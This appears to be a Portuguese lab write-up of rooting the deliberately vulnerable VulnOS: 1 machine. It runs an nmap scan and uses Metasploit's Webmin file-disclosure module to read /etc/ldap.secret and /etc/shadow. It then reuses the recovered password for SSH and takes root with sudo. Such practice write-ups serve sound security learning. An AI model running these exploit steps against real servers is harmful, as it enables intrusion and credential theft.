VulnOS: 1

IP da máquina: 192.168.56.112 // MAC: 08:00:27:43:06:19

Resultados do nmap:

nmap -sS -sV -O -p- -v 192.168.56.112

```
22/tcp    open  ssh         OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.7.0-P1
80/tcp    open  http        Apache httpd 2.2.14 ((Ubuntu))
110/tcp   open  pop3        Dovecot pop3d
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp   open  imap        Dovecot imapd
389/tcp   open  ldap        OpenLDAP 2.2.X - 2.3.X
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  shell       Netkit rshd
901/tcp   open  http        Samba SWAT administration server
993/tcp   open  ssl/imaps?
995/tcp   open  ssl/pop3s?
2000/tcp  open  sieve       Dovecot timsieved
2049/tcp  open  nfs         2-4 (RPC #100003)
3306/tcp  open  mysql       MySQL 5.1.73-0ubuntu0.10.04.1
3632/tcp  open  tcpwrapped
6667/tcp  open  irc         IRCnet ircd
8070/tcp  open  ucs-isc?
8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
34921/tcp open  status      1 (RPC #100024)
46201/tcp open  mountd      1-3 (RPC #100005)
58549/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 08:00:27:43:06:19 (Oracle VirtualBox virtual NIC)
```

Metasploit:

```
Description:
  A vulnerability has been reported in Webmin and Usermin, which can
  be exploited by malicious people to disclose potentially sensitive
  information. The vulnerability is caused due to an unspecified error
  within the handling of an URL. This can be exploited to read the
  contents of any files on the server via a specially crafted URL,
  without requiring a valid login. The vulnerability has been reported
  in Webmin (versions prior to 1.290) and Usermin (versions prior to
  1.220).

References:
  OSVDB (26772)
  http://www.securityfocus.com/bid/18744
  https://cvedetails.com/cve/CVE-2006-3392/
  https://www.kb.cert.org/vuls/id/999601
  http://secunia.com/advisories/20892/

msf5 auxiliary(admin/webmin/file_disclosure) >
```

```
msf5 auxiliary(admin/webmin/file_disclosure) > set rhosts 192.168.56.112
rhosts => 192.168.56.112
msf5 auxiliary(admin/webmin/file_disclosure) > set rpath /etc/ldap.secret
rpath => /etc/ldap.secret
msf5 auxiliary(admin/webmin/file_disclosure) > exploit
[*] Running module against 192.168.56.112

[*] Attempting to retrieve /etc/ldap.secret...
[*] The server returned: 200 Document follows
canuhackme
[*] Auxiliary module execution completed
```

Usuário encontrado no /etc/shadow:

```
nobody:*:16137:0:99999:7:::
libuuid:!:16137:0:99999:7:::
syslog:*:16137:0:99999:7:::
landscape:*:16137:0:99999:7:::
vulnosadmin:$6$SLXu95CH$pVAdp447R4MEFKtHrWcDV7WIBuiP2Yp0NJTVPyg37K9U11SFuLena8p.xbnSVJFAeg1WO28ljNAPrlXag
hLmo/:16137:0:99999:7:::
sysadmin:admin:16137:0:99999:7:::
```

SSH:

Usuário: vulnosadmin // Senha: canuhackme

```
root@kali:~# ssh vulnosadmin@192.168.56.112
```

```
vulnosadmin@VulnOS:~$ id
uid=1000(vulnosadmin) gid=1000(vulnosadmin) groepen=4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin)
,110(sambashare),111(admin),1000(vulnosadmin)
vulnosadmin@VulnOS:~$ uname -a
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
```

Root:

```
vulnosadmin@VulnOS:~$ sudo bash
[sudo] password for vulnosadmin:
root@VulnOS:~# id
uid=0(root) gid=0(root) groepen=0(root)
root@VulnOS:~# uname -a
Linux VulnOS 2.6.32-57-generic-pae #119-Ubuntu SMP Wed Feb 19 01:20:04 UTC 2014 i686 GNU/Linux
root@VulnOS:~#
```